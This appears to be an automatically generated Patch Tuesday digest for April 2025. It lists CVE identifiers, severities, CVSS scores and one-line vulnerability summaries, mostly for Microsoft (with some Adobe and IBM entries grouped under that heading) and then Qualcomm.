Patch Tuesday — April 2025
2025-04-08 · 945 CVEs
CVEs published or modified the week of 2025-04-08, partitioned by vendor.
Microsoft (149 CVEs)
| CVE | Severity | CVSS | KEV | Published | Summary |
|---|---|---|---|---|---|
CVE-2025-0539 | High | 8.8 | — | 2025-04-10 | In affected Microsoft Windows versions of Octopus Deploy, the server can be coerced into sending server-side requests that contain authentication material allowing a suitably positioned attacker to compromise the account running Octopus Se… |
CVE-2025-29794 | High | 8.8 | — | 2025-04-08 | Improper authorization in Microsoft Office SharePoint allows an authorized attacker to execute code over a network. |
CVE-2025-27740 | High | 8.8 | — | 2025-04-08 | Weak authentication in Windows Active Directory Certificate Services allows an authorized attacker to elevate privileges over a network. |
CVE-2025-27481 | High | 8.8 | — | 2025-04-08 | Stack-based buffer overflow in Windows Telephony Service allows an unauthorized attacker to execute code over a network. |
CVE-2025-27477 | High | 8.8 | — | 2025-04-08 | Heap-based buffer overflow in Windows Telephony Service allows an unauthorized attacker to execute code over a network. |
CVE-2025-26669 | High | 8.8 | — | 2025-04-08 | Out-of-bounds read in Windows Routing and Remote Access Service (RRAS) allows an unauthorized attacker to disclose information over a network. |
CVE-2025-26647 | High | 8.8 | — | 2025-04-08 | Improper input validation in Windows Kerberos allows an authorized attacker to elevate privileges over a network. |
CVE-2025-21222 | High | 8.8 | — | 2025-04-08 | Heap-based buffer overflow in Windows Telephony Service allows an unauthorized attacker to execute code over a network. |
CVE-2025-21221 | High | 8.8 | — | 2025-04-08 | Heap-based buffer overflow in Windows Telephony Service allows an unauthorized attacker to execute code over a network. |
CVE-2025-21205 | High | 8.8 | — | 2025-04-08 | Heap-based buffer overflow in Windows Telephony Service allows an unauthorized attacker to execute code over a network. |
CVE-2025-1095 | High | 8.8 | — | 2025-04-08 | IBM Personal Communications v14 and v15 include a Windows service that is vulnerable to local privilege escalation (LPE). |
CVE-2025-27737 | High | 8.6 | — | 2025-04-08 | Improper input validation in Windows Security Zone Mapping allows an unauthorized attacker to bypass a security feature locally. |
CVE-2025-26678 | High | 8.4 | — | 2025-04-08 | Improper access control in Windows Defender Application Control (WDAC) allows an unauthorized attacker to bypass a security feature locally. |
CVE-2025-27482 | High | 8.1 | — | 2025-04-08 | Sensitive data storage in improperly locked memory in Remote Desktop Gateway Service allows an unauthorized attacker to execute code over a network. |
CVE-2025-27480 | High | 8.1 | — | 2025-04-08 | Use after free in Remote Desktop Gateway Service allows an unauthorized attacker to execute code over a network. |
CVE-2025-26671 | High | 8.1 | — | 2025-04-08 | Use after free in Windows Remote Desktop Services allows an unauthorized attacker to execute code over a network. |
CVE-2025-26670 | High | 8.1 | — | 2025-04-08 | Use after free in Windows LDAP - Lightweight Directory Access Protocol allows an unauthorized attacker to execute code over a network. |
CVE-2025-26663 | High | 8.1 | — | 2025-04-08 | Use after free in Windows LDAP - Lightweight Directory Access Protocol allows an unauthorized attacker to execute code over a network. |
CVE-2025-27487 | High | 8.0 | — | 2025-04-08 | Heap-based buffer overflow in Remote Desktop Client allows an authorized attacker to execute code over a network. |
CVE-2025-30304 | High | 7.8 | — | 2025-04-08 | Adobe Framemaker versions 2020.8, 2022.6 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. |
CVE-2025-30299 | High | 7.8 | — | 2025-04-08 | Adobe Framemaker versions 2020.8, 2022.6 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. |
CVE-2025-30298 | High | 7.8 | — | 2025-04-08 | Adobe Framemaker versions 2020.8, 2022.6 and earlier are affected by a Stack-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. |
CVE-2025-30297 | High | 7.8 | — | 2025-04-08 | Adobe Framemaker versions 2020.8, 2022.6 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. |
CVE-2025-30296 | High | 7.8 | — | 2025-04-08 | Adobe Framemaker versions 2020.8, 2022.6 and earlier are affected by an Integer Underflow (Wrap or Wraparound) vulnerability that could result in arbitrary code execution in the context of the current user. |
CVE-2025-30295 | High | 7.8 | — | 2025-04-08 | Adobe Framemaker versions 2020.8, 2022.6 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. |
CVE-2025-29824 | High | 7.8 | KEV | 2025-04-08 | Use after free in Windows Common Log File System Driver allows an authorized attacker to elevate privileges locally. |
CVE-2025-29823 | High | 7.8 | — | 2025-04-08 | Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code locally. |
CVE-2025-29822 | High | 7.8 | — | 2025-04-08 | Incomplete list of disallowed inputs in Microsoft Office OneNote allows an unauthorized attacker to bypass a security feature locally. |
CVE-2025-29820 | High | 7.8 | — | 2025-04-08 | Use after free in Microsoft Office Word allows an unauthorized attacker to execute code locally. |
CVE-2025-29812 | High | 7.8 | — | 2025-04-08 | Untrusted pointer dereference in Windows Kernel Memory allows an authorized attacker to elevate privileges locally. |
CVE-2025-29811 | High | 7.8 | — | 2025-04-08 | Improper input validation in Windows Mobile Broadband allows an authorized attacker to elevate privileges locally. |
CVE-2025-29801 | High | 7.8 | — | 2025-04-08 | Incorrect default permissions in Microsoft AutoUpdate (MAU) allows an authorized attacker to elevate privileges locally. |
CVE-2025-29800 | High | 7.8 | — | 2025-04-08 | Improper privilege management in Microsoft AutoUpdate (MAU) allows an authorized attacker to elevate privileges locally. |
CVE-2025-29791 | High | 7.8 | — | 2025-04-08 | Access of resource using incompatible type ('type confusion') in Microsoft Office allows an unauthorized attacker to execute code locally. |
CVE-2025-27752 | High | 7.8 | — | 2025-04-08 | Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code locally. |
CVE-2025-27751 | High | 7.8 | — | 2025-04-08 | Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code locally. |
CVE-2025-27750 | High | 7.8 | — | 2025-04-08 | Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code locally. |
CVE-2025-27749 | High | 7.8 | — | 2025-04-08 | Use after free in Microsoft Office allows an unauthorized attacker to execute code locally. |
CVE-2025-27748 | High | 7.8 | — | 2025-04-08 | Use after free in Microsoft Office allows an unauthorized attacker to execute code locally. |
CVE-2025-27747 | High | 7.8 | — | 2025-04-08 | Use after free in Microsoft Office Word allows an unauthorized attacker to execute code locally. |
CVE-2025-27746 | High | 7.8 | — | 2025-04-08 | Use after free in Microsoft Office allows an unauthorized attacker to execute code locally. |
CVE-2025-27745 | High | 7.8 | — | 2025-04-08 | Use after free in Microsoft Office allows an unauthorized attacker to execute code locally. |
CVE-2025-27744 | High | 7.8 | — | 2025-04-08 | Improper access control in Microsoft Office allows an authorized attacker to elevate privileges locally. |
CVE-2025-27743 | High | 7.8 | — | 2025-04-08 | Untrusted search path in System Center allows an authorized attacker to elevate privileges locally. |
CVE-2025-27741 | High | 7.8 | — | 2025-04-08 | Out-of-bounds read in Windows NTFS allows an unauthorized attacker to elevate privileges locally. |
CVE-2025-27739 | High | 7.8 | — | 2025-04-08 | Untrusted pointer dereference in Windows Kernel allows an authorized attacker to elevate privileges locally. |
CVE-2025-27733 | High | 7.8 | — | 2025-04-08 | Out-of-bounds read in Windows NTFS allows an unauthorized attacker to elevate privileges locally. |
CVE-2025-27731 | High | 7.8 | — | 2025-04-08 | Improper input validation in OpenSSH for Windows allows an authorized attacker to elevate privileges locally. |
CVE-2025-27730 | High | 7.8 | — | 2025-04-08 | Use after free in Windows Digital Media allows an authorized attacker to elevate privileges locally. |
CVE-2025-27729 | High | 7.8 | — | 2025-04-08 | Use after free in Windows Shell allows an unauthorized attacker to execute code locally. |
CVE-2025-27728 | High | 7.8 | — | 2025-04-08 | Out-of-bounds read in Windows Kernel-Mode Drivers allows an authorized attacker to elevate privileges locally. |
CVE-2025-27727 | High | 7.8 | — | 2025-04-08 | Improper link resolution before file access ('link following') in Windows Installer allows an authorized attacker to elevate privileges locally. |
CVE-2025-27490 | High | 7.8 | — | 2025-04-08 | Heap-based buffer overflow in Windows Bluetooth Service allows an authorized attacker to elevate privileges locally. |
CVE-2025-27489 | High | 7.8 | — | 2025-04-08 | Improper input validation in Azure Local allows an authorized attacker to elevate privileges locally. |
CVE-2025-27483 | High | 7.8 | — | 2025-04-08 | Out-of-bounds read in Windows NTFS allows an unauthorized attacker to elevate privileges locally. |
CVE-2025-27476 | High | 7.8 | — | 2025-04-08 | Use after free in Windows Digital Media allows an authorized attacker to elevate privileges locally. |
CVE-2025-27467 | High | 7.8 | — | 2025-04-08 | Use after free in Windows Digital Media allows an authorized attacker to elevate privileges locally. |
CVE-2025-27200 | High | 7.8 | — | 2025-04-08 | Animate versions 24.0.7, 23.0.10 and earlier are affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user. |
CVE-2025-27199 | High | 7.8 | — | 2025-04-08 | Animate versions 24.0.7, 23.0.10 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. |
CVE-2025-27198 | High | 7.8 | — | 2025-04-08 | Photoshop Desktop versions 25.12.1, 26.4.1 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. |
CVE-2025-27196 | High | 7.8 | — | 2025-04-08 | Premiere Pro versions 25.1, 24.6.4 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. |
CVE-2025-27195 | High | 7.8 | — | 2025-04-08 | Media Encoder versions 25.1, 24.6.4 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. |
CVE-2025-27194 | High | 7.8 | — | 2025-04-08 | Media Encoder versions 25.1, 24.6.4 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. |
CVE-2025-27193 | High | 7.8 | — | 2025-04-08 | Bridge versions 14.1.5, 15.0.2 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. |
CVE-2025-27183 | High | 7.8 | — | 2025-04-08 | After Effects versions 25.1, 24.6.4 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. |
CVE-2025-27182 | High | 7.8 | — | 2025-04-08 | After Effects versions 25.1, 24.6.4 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. |
CVE-2025-26688 | High | 7.8 | — | 2025-04-08 | Stack-based buffer overflow in Microsoft Virtual Hard Drive allows an authorized attacker to elevate privileges locally. |
CVE-2025-26679 | High | 7.8 | — | 2025-04-08 | Use after free in RPC Endpoint Mapper Service allows an authorized attacker to elevate privileges locally. |
CVE-2025-26675 | High | 7.8 | — | 2025-04-08 | Out-of-bounds read in Windows Subsystem for Linux allows an authorized attacker to elevate privileges locally. |
CVE-2025-26674 | High | 7.8 | — | 2025-04-08 | Heap-based buffer overflow in Windows Media allows an authorized attacker to execute code locally. |
CVE-2025-26666 | High | 7.8 | — | 2025-04-08 | Heap-based buffer overflow in Windows Media allows an authorized attacker to execute code locally. |
CVE-2025-26648 | High | 7.8 | — | 2025-04-08 | Sensitive data storage in improperly locked memory in Windows Kernel allows an authorized attacker to elevate privileges locally. |
CVE-2025-26642 | High | 7.8 | — | 2025-04-08 | Out-of-bounds read in Microsoft Office allows an unauthorized attacker to execute code locally. |
CVE-2025-26639 | High | 7.8 | — | 2025-04-08 | Integer overflow or wraparound in Windows USB Print Driver allows an authorized attacker to elevate privileges locally. |
CVE-2025-24074 | High | 7.8 | — | 2025-04-08 | Improper input validation in Windows DWM Core Library allows an authorized attacker to elevate privileges locally. |
CVE-2025-24073 | High | 7.8 | — | 2025-04-08 | Improper input validation in Windows DWM Core Library allows an authorized attacker to elevate privileges locally. |
CVE-2025-24062 | High | 7.8 | — | 2025-04-08 | Improper input validation in Windows DWM Core Library allows an authorized attacker to elevate privileges locally. |
CVE-2025-24060 | High | 7.8 | — | 2025-04-08 | Improper input validation in Windows DWM Core Library allows an authorized attacker to elevate privileges locally. |
CVE-2025-24058 | High | 7.8 | — | 2025-04-08 | Improper input validation in Windows DWM Core Library allows an authorized attacker to elevate privileges locally. |
CVE-2025-21204 | High | 7.8 | — | 2025-04-08 | Improper link resolution before file access ('link following') in Windows Update Stack allows an authorized attacker to elevate privileges locally. |
CVE-2025-29816 | High | 7.5 | — | 2025-04-08 | Improper input validation in Microsoft Office Word allows an unauthorized attacker to bypass a security feature over a network. |
CVE-2025-29810 | High | 7.5 | — | 2025-04-08 | Improper access control in Active Directory Domain Services allows an authorized attacker to elevate privileges over a network. |
CVE-2025-29805 | High | 7.5 | — | 2025-04-08 | Exposure of sensitive information to an unauthorized actor in Outlook for Android allows an unauthorized attacker to disclose information over a network. |
CVE-2025-27486 | High | 7.5 | — | 2025-04-08 | Uncontrolled resource consumption in Windows Standards-Based Storage Management Service allows an unauthorized attacker to deny service over a network. |
CVE-2025-27485 | High | 7.5 | — | 2025-04-08 | Uncontrolled resource consumption in Windows Standards-Based Storage Management Service allows an unauthorized attacker to deny service over a network. |
CVE-2025-27484 | High | 7.5 | — | 2025-04-08 | Sensitive data storage in improperly locked memory in Windows Universal Plug and Play (UPnP) Device Host allows an authorized attacker to elevate privileges over a network. |
CVE-2025-27479 | High | 7.5 | — | 2025-04-08 | Insufficient resource pool in Windows Kerberos allows an unauthorized attacker to deny service over a network. |
CVE-2025-27473 | High | 7.5 | — | 2025-04-08 | Uncontrolled resource consumption in Windows HTTP.sys allows an unauthorized attacker to deny service over a network. |
CVE-2025-27470 | High | 7.5 | — | 2025-04-08 | Uncontrolled resource consumption in Windows Standards-Based Storage Management Service allows an unauthorized attacker to deny service over a network. |
CVE-2025-27469 | High | 7.5 | — | 2025-04-08 | Uncontrolled resource consumption in Windows LDAP - Lightweight Directory Access Protocol allows an unauthorized attacker to deny service over a network. |
CVE-2025-26687 | High | 7.5 | — | 2025-04-08 | Use after free in Windows Win32K - GRFX allows an unauthorized attacker to elevate privileges over a network. |
CVE-2025-26686 | High | 7.5 | — | 2025-04-08 | Sensitive data storage in improperly locked memory in Windows TCP/IP allows an unauthorized attacker to execute code over a network. |
CVE-2025-26682 | High | 7.5 | — | 2025-04-08 | Allocation of resources without limits or throttling in ASP.NET Core allows an unauthorized attacker to deny service over a network. |
CVE-2025-26680 | High | 7.5 | — | 2025-04-08 | Uncontrolled resource consumption in Windows Standards-Based Storage Management Service allows an unauthorized attacker to deny service over a network. |
CVE-2025-26673 | High | 7.5 | — | 2025-04-08 | Uncontrolled resource consumption in Windows LDAP - Lightweight Directory Access Protocol allows an unauthorized attacker to deny service over a network. |
CVE-2025-26668 | High | 7.5 | — | 2025-04-08 | Heap-based buffer overflow in Windows Routing and Remote Access Service (RRAS) allows an unauthorized attacker to execute code over a network. |
CVE-2025-26652 | High | 7.5 | — | 2025-04-08 | Uncontrolled resource consumption in Windows Standards-Based Storage Management Service allows an unauthorized attacker to deny service over a network. |
CVE-2025-26641 | High | 7.5 | — | 2025-04-08 | Uncontrolled resource consumption in Windows Cryptographic Services allows an unauthorized attacker to deny service over a network. |
CVE-2025-21174 | High | 7.5 | — | 2025-04-08 | Uncontrolled resource consumption in Windows Standards-Based Storage Management Service allows an unauthorized attacker to deny service over a network. |
CVE-2025-29804 | High | 7.3 | — | 2025-04-08 | Improper access control in Visual Studio allows an authorized attacker to elevate privileges locally. |
CVE-2025-29802 | High | 7.3 | — | 2025-04-08 | Improper access control in Visual Studio allows an authorized attacker to elevate privileges locally. |
CVE-2025-29792 | High | 7.3 | — | 2025-04-08 | Use after free in Microsoft Office allows an authorized attacker to elevate privileges locally. |
CVE-2025-26628 | High | 7.3 | — | 2025-04-08 | Insufficiently protected credentials in Azure Local Cluster allows an authorized attacker to disclose information locally. |
CVE-2025-29793 | High | 7.2 | — | 2025-04-08 | Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network. |
CVE-2025-29809 | High | 7.1 | — | 2025-04-08 | Insecure storage of sensitive information in Windows Kerberos allows an authorized attacker to bypass a security feature locally. |
CVE-2025-27491 | High | 7.1 | — | 2025-04-08 | Use after free in Windows Hyper-V allows an authorized attacker to execute code over a network. |
CVE-2025-27732 | High | 7.0 | — | 2025-04-08 | Sensitive data storage in improperly locked memory in Windows Win32K - GRFX allows an authorized attacker to elevate privileges locally. |
CVE-2025-27492 | High | 7.0 | — | 2025-04-08 | Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Secure Channel allows an authorized attacker to elevate privileges locally. |
CVE-2025-27478 | High | 7.0 | — | 2025-04-08 | Heap-based buffer overflow in Windows Local Security Authority (LSA) allows an authorized attacker to elevate privileges locally. |
CVE-2025-27475 | High | 7.0 | — | 2025-04-08 | Sensitive data storage in improperly locked memory in Windows Update Stack allows an authorized attacker to elevate privileges locally. |
CVE-2025-26665 | High | 7.0 | — | 2025-04-08 | Sensitive data storage in improperly locked memory in Windows upnphost.dll allows an authorized attacker to elevate privileges locally. |
CVE-2025-26649 | High | 7.0 | — | 2025-04-08 | Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Secure Channel allows an authorized attacker to elevate privileges locally. |
CVE-2025-26640 | High | 7.0 | — | 2025-04-08 | Use after free in Windows Digital Media allows an authorized attacker to elevate privileges locally. |
CVE-2025-21191 | High | 7.0 | — | 2025-04-08 | Time-of-check time-of-use (toctou) race condition in Windows Local Security Authority (LSA) allows an authorized attacker to elevate privileges locally. |
CVE-2025-26637 | Medium | 6.8 | — | 2025-04-08 | Protection mechanism failure in Windows BitLocker allows an unauthorized attacker to bypass a security feature with a physical attack. |
CVE-2025-25002 | Medium | 6.8 | — | 2025-04-08 | Insertion of sensitive information into log file in Azure Local Cluster allows an authorized attacker to disclose information over an adjacent network. |
CVE-2025-26681 | Medium | 6.7 | — | 2025-04-08 | Use after free in Windows Win32K - GRFX allows an authorized attacker to elevate privileges locally. |
CVE-2025-27738 | Medium | 6.5 | — | 2025-04-08 | Improper access control in Windows Resilient File System (ReFS) allows an authorized attacker to disclose information over a network. |
CVE-2025-27474 | Medium | 6.5 | — | 2025-04-08 | Use of uninitialized resource in Windows Routing and Remote Access Service (RRAS) allows an unauthorized attacker to disclose information over a network. |
CVE-2025-26676 | Medium | 6.5 | — | 2025-04-08 | Buffer over-read in Windows Routing and Remote Access Service (RRAS) allows an unauthorized attacker to disclose information over a network. |
CVE-2025-26672 | Medium | 6.5 | — | 2025-04-08 | Buffer over-read in Windows Routing and Remote Access Service (RRAS) allows an unauthorized attacker to disclose information over a network. |
CVE-2025-26667 | Medium | 6.5 | — | 2025-04-08 | Exposure of sensitive information to an unauthorized actor in Windows Routing and Remote Access Service (RRAS) allows an unauthorized attacker to disclose information over a network. |
CVE-2025-26664 | Medium | 6.5 | — | 2025-04-08 | Buffer over-read in Windows Routing and Remote Access Service (RRAS) allows an unauthorized attacker to disclose information over a network. |
CVE-2025-26651 | Medium | 6.5 | — | 2025-04-08 | Exposed dangerous method or function in Windows Local Session Manager (LSM) allows an authorized attacker to deny service over a network. |
CVE-2025-26635 | Medium | 6.5 | — | 2025-04-08 | Weak authentication in Windows Hello allows an authorized attacker to bypass a security feature over a network. |
CVE-2025-21203 | Medium | 6.5 | — | 2025-04-08 | Buffer over-read in Windows Routing and Remote Access Service (RRAS) allows an unauthorized attacker to disclose information over a network. |
CVE-2025-21197 | Medium | 6.5 | — | 2025-04-08 | Improper access control in Windows NTFS allows an authorized attacker to disclose file path information under a folder where the attacker doesn't have permission to list content. |
CVE-2025-29819 | Medium | 6.2 | — | 2025-04-08 | External control of file name or path in Azure Portal Windows Admin Center allows an unauthorized attacker to disclose information locally. |
CVE-2025-27735 | Medium | 6.0 | — | 2025-04-08 | Insufficient verification of data authenticity in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to bypass a security feature locally. |
CVE-2025-27471 | Medium | 5.9 | — | 2025-04-08 | Sensitive data storage in improperly locked memory in Microsoft Streaming Service allows an unauthorized attacker to deny service over a network. |
CVE-2025-30303 | Medium | 5.5 | — | 2025-04-08 | Adobe Framemaker versions 2020.8, 2022.6 and earlier are affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. |
CVE-2025-30302 | Medium | 5.5 | — | 2025-04-08 | Adobe Framemaker versions 2020.8, 2022.6 and earlier are affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. |
CVE-2025-30301 | Medium | 5.5 | — | 2025-04-08 | Adobe Framemaker versions 2020.8, 2022.6 and earlier are affected by a NULL Pointer Dereference vulnerability that could result in an application denial-of-service. |
CVE-2025-30300 | Medium | 5.5 | — | 2025-04-08 | Adobe Framemaker versions 2020.8, 2022.6 and earlier are affected by a NULL Pointer Dereference vulnerability that could result in an application denial-of-service. |
CVE-2025-29821 | Medium | 5.5 | — | 2025-04-08 | Improper input validation in Dynamics Business Central allows an authorized attacker to disclose information locally. |
CVE-2025-29808 | Medium | 5.5 | — | 2025-04-08 | Use of a cryptographic primitive with a risky implementation in Windows Cryptographic Services allows an authorized attacker to disclose information locally. |
CVE-2025-27742 | Medium | 5.5 | — | 2025-04-08 | Out-of-bounds read in Windows NTFS allows an unauthorized attacker to disclose information locally. |
CVE-2025-27736 | Medium | 5.5 | — | 2025-04-08 | Exposure of sensitive information to an unauthorized actor in Windows Power Dependency Coordinator allows an authorized attacker to disclose information locally. |
CVE-2025-27204 | Medium | 5.5 | — | 2025-04-08 | After Effects versions 25.1, 24.6.4 and earlier are affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. |
CVE-2025-27202 | Medium | 5.5 | — | 2025-04-08 | Animate versions 24.0.7, 23.0.10 and earlier are affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. |
CVE-2025-27201 | Medium | 5.5 | — | 2025-04-08 | Animate versions 24.0.7, 23.0.10 and earlier are affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. |
CVE-2025-27187 | Medium | 5.5 | — | 2025-04-08 | After Effects versions 25.1, 24.6.4 and earlier are affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. |
CVE-2025-27186 | Medium | 5.5 | — | 2025-04-08 | After Effects versions 25.1, 24.6.4 and earlier are affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. |
CVE-2025-27185 | Medium | 5.5 | — | 2025-04-08 | After Effects versions 25.1, 24.6.4 and earlier are affected by a NULL Pointer Dereference vulnerability that could result in an application denial-of-service. |
CVE-2025-27184 | Medium | 5.5 | — | 2025-04-08 | After Effects versions 25.1, 24.6.4 and earlier are affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. |
CVE-2023-42007 | Medium | 5.4 | — | 2025-04-10 | IBM Sterling Control Center 6.2.1, 6.3.1, and 6.4.0 is vulnerable to cross-site scripting. |
CVE-2025-27472 | Medium | 5.4 | — | 2025-04-08 | Protection mechanism failure in Windows Mark of the Web (MOTW) allows an unauthorized attacker to bypass a security feature over a network. |
CVE-2025-26644 | Medium | 5.1 | — | 2025-04-08 | Automated recognition mechanism with inadequate detection or handling of adversarial input perturbations in Windows Hello allows an unauthorized attacker to perform spoofing locally. |
CVE-2023-43035 | Medium | 4.0 | — | 2025-04-10 | IBM Sterling Control Center 6.2.1, 6.3.1, and 6.4.0 allows web pages to be stored locally which can be read by another user on the system. |
Other vendors (796 CVEs across 371 vendors)
Qualcomm · 34 CVEs
| CVE | Severity | CVSS | KEV | Published | Summary |
|---|---|---|---|---|---|
CVE-2024-45552 | High | 8.2 | — | 2025-04-07 | Information disclosure may occur during a video call if a device resets due to a non-conforming RTCP packet that doesn`t adhere to RFC standards. |
CVE-2025-21447 | High | 7.8 | — | 2025-04-07 | Memory corruption may occur while processing device IO control call for session control. |
CVE-2025-21443 | High | 7.8 | — | 2025-04-07 | Memory corruption while processing message content in eAVB. |
CVE-2025-21442 | High | 7.8 | — | 2025-04-07 | Memory corruption while transmitting packet mapping information with invalid header payload size. |
CVE-2025-21441 | High | 7.8 | — | 2025-04-07 | Memory corruption when IOCTL call is invoked from user-space to write board data to WLAN driver. |
CVE-2025-21440 | High | 7.8 | — | 2025-04-07 | Memory corruption when IOCTL call is invoked from user-space to write board data to WLAN driver. |
CVE-2025-21439 | High | 7.8 | — | 2025-04-07 | Memory corruption may occur while reading board data via IOCTL call when the WLAN driver copies the content to the provided output buffer. |
CVE-2025-21438 | High | 7.8 | — | 2025-04-07 | Memory corruption while IOCTL call is invoked from user-space to read board data. |
CVE-2025-21437 | High | 7.8 | — | 2025-04-07 | Memory corruption while processing memory map or unmap IOCTL operations simultaneously. |
CVE-2025-21436 | High | 7.8 | — | 2025-04-07 | Memory corruption may occur while initiating two IOCTL calls simultaneously to create processes from two different threads. |
CVE-2025-21423 | High | 7.8 | — | 2025-04-07 | Memory corruption occurs when handling client calls to EnableTestMode through an Escape call. |
CVE-2025-21421 | High | 7.8 | — | 2025-04-07 | Memory corruption while processing escape code in API. |
CVE-2024-45557 | High | 7.8 | — | 2025-04-07 | Memory corruption can occur when TME processes addresses from TZ and MPSS requests without proper validation. |
CVE-2024-43067 | High | 7.8 | — | 2025-04-07 | Memory corruption occurs during the copying of read data from the EEPROM because the IO configuration is exposed as shared memory. |
CVE-2024-43066 | High | 7.8 | — | 2025-04-07 | Memory corruption while handling file descriptor during listener registration/de-registration. |
CVE-2024-43058 | High | 7.8 | — | 2025-04-07 | Memory corruption while processing IOCTL calls. |
CVE-2024-45549 | High | 7.7 | — | 2025-04-07 | Information disclosure while creating MQ channels. |
CVE-2025-21448 | High | 7.5 | — | 2025-04-07 | Transient DOS may occur while parsing SSID in action frames. |
CVE-2025-21435 | High | 7.5 | — | 2025-04-07 | Transient DOS may occur while parsing extended IE in beacon. |
CVE-2025-21434 | High | 7.5 | — | 2025-04-07 | Transient DOS may occur while parsing EHT operation IE or EHT capability IE. |
CVE-2025-21430 | High | 7.5 | — | 2025-04-07 | Transient DOS while connecting STA to AP and initiating ADD TS request from AP to establish TSpec session. |
CVE-2025-21429 | High | 7.5 | — | 2025-04-07 | Memory corruption occurs while connecting a STA to an AP and initiating an ADD TS request. |
CVE-2025-21428 | High | 7.5 | — | 2025-04-07 | Memory corruption occurs while connecting a STA to an AP and initiating an ADD TS request from the AP to establish a TSpec session. |
CVE-2024-33058 | High | 7.5 | — | 2025-04-07 | Memory corruption while assigning memory from the source DDR memory(HLOS) to ADSP. |
CVE-2025-21425 | High | 7.3 | — | 2025-04-07 | Memory corruption may occur due top improper access control in HAB process. |
CVE-2024-43065 | High | 7.1 | — | 2025-04-07 | Cryptographic issues while generating an asymmetric key pair for RKP use cases. |
CVE-2024-49848 | Medium | 6.7 | — | 2025-04-07 | Memory corruption while processing multiple IOCTL calls from HLOS to DSP. |
CVE-2024-45544 | Medium | 6.6 | — | 2025-04-07 | Memory corruption while processing IOCTL calls to add route entry in the HW. |
CVE-2024-45543 | Medium | 6.6 | — | 2025-04-07 | Memory corruption while accessing MSM channel map and mixer functions. |
CVE-2024-45540 | Medium | 6.6 | — | 2025-04-07 | Memory corruption while invoking IOCTL map buffer request from userspace. |
CVE-2024-45556 | Medium | 6.5 | — | 2025-04-07 | Cryptographic issue may arise because the access control configuration permits Linux to read key registers in TCSR. |
